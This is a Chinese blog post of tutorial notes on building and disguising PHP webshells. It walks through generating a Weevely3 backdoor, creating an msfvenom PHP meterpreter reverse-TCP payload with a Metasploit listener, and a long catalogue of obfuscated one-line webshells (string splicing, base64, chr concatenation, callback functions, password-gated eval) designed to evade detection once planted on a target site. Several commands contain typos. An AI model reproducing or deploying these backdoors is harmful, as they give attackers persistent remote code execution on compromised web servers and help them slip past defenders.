11.7 Weevely3生成网页木马、Backcookie后门生成工具、使用msf生成木马、一句话变形技巧和使用

大马:代码量大,体积大,可以和一句话木马配合使用(先传一句话后传大马),一般同意被发现,可变形或伪装(编码、远程接入),主要功能:文件管理、,命令执行、数据库管理、清理木马、屑木马、收集信息、提权等。

 

Webshell管理工具的介绍和使用:

Webshell工具主要和一句话配合使用

中国菜刀、中国蚁剑等

 

Weevely3生成网页木马(基于python

python weevely.py -h

 

python weevely.py  generate cmd  ./backdoor.php  cmd是密码)将产生的webshell投放到目标站点中

 

这样就制作出了cmd为密码的后门php

 weevely.py http://127.0.0.1/backdoor.php cmd就能进入后门,得到shell

 

 

Backcookie后门生成工具

基于cookie的后门

 

(注意,要将cookie转为64位,或从前端获取)

 

这样页面就会直接显示获取到的

 

使用msf生成木马

msfvenom -h 查看帮助信息

Msfvenom --help -formats 查看能够使用format生成的类型

1msfvenom -p php/meterpreter/reverse_tcp lohst=127.0.0.1 lport6789 -f raw >./phpbackdoor.php

然后将代码拷贝出来

2、开启msf并监听

search exploit/hanler  //(exploit/multi/handle::通用有效负载处理程序)

use exploit/multi/handler  //使用模块

show options  //配置

set lhost=127.0.0.1

set lport=6789

set payload php/meterpreter/reverse_tcp //设置测试的载荷

exploit -j  启动监听

3、浏览器访问木马文件

 

一句话变形技巧和使用

简单变形:
1$a=str_replace("x", "", "axsxxxxsxexrt");
$a($_POST["cmd"]);
2$_GET["k"]($_GET["v"]);

http://127.0.0.1/eee.php?k=assert&v=phpinfo();
 3preg_replace函数

preg_replace/e模式可以执行恶意代码(放在第二个参数里,如

<?php

preg_replace("/pen/e", '@eval("echo 1;")', "pentest");

?>


  <?php
($code=$_POST["code"])&&
preg_replace("/pen/e", '@'.str_rot13('riny').'($code)', "pentest");
?>
4)自定义函数create_function()create_function(参数列表,string类型code)
<?php $fun=create_function('',$_POST['a']);
$fun();

?>
 5)回调函数 call_user_func()
<?php
@call_user_func(assert,$_POST['a']);
?>

call_user_func(函数名,stringcode)
 6file_put_contents函数
<?php
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("shell.php", $test);
?>

file_put_contents("shell.php", $_GET[‘k’]);


 其他方式:
 PHP变量函数
<?php 
$a = "eval";
$a(@$_POST['a']); 
?>

 PHP可变变量
<?php
$bb="eval";
$a="bb";
$$a($_POST['a']);
?>

 str_replace函数
<?php
$a=str_replace("Waldo", "", "aWaldossert");
$a(@$_POST['a']);
?>


 base64_decode函数
<?php
$a=base64_decode("ZXZhbA==");
$a($_POST['a']);
?>
 $_base64_decode("YXNzZXJ0");
$_(str_rot13('riny($_CBFG[cntr]);'));


 "."操作符
<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_POST['a']);
?>

 parse_str函数,将查询字符串解析到变量中
 <?php
$str="a=eval";
parse_str($str);
//$a=eval
$a($_POST['a']);
?>

 http://192.168.11.59/convert/th4.php?e=assertassert可用作回调函数)
array_filter函数 用回调函数过滤数组中的元素

 $e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, $e);

 array_map函数,将函数作用到数组中的每个值上,做相应的处理,并返回带有新值的数组:
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map($e, $arr);

 uasort函数,使用用户自定义的比较函数对数组 $arr 中的元素按键值进行排序:PHP>5.4
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, $e);


 加密类变形
 if(isset($_POST['com'])&&md5($_POST['com'])== '202cb962ac59075b964b07152d234b70'&& isset($_POST['content'])) $content = strtr($_POST['content'], '-_,', '+/=');eval(base64_decode($content));

 eval($_POST["cmd"])

 http://www.target.com/shell.php   cmd
content=JF9QT1NUWyJjbWQiXQ==   
com=123

 变量拼接类变形
 <?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
 ?>


 加密拼接类变形
 <?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>

 

posted @ 2019-11-07 17:31  黑空  阅读(2222)  评论(0编辑  收藏  举报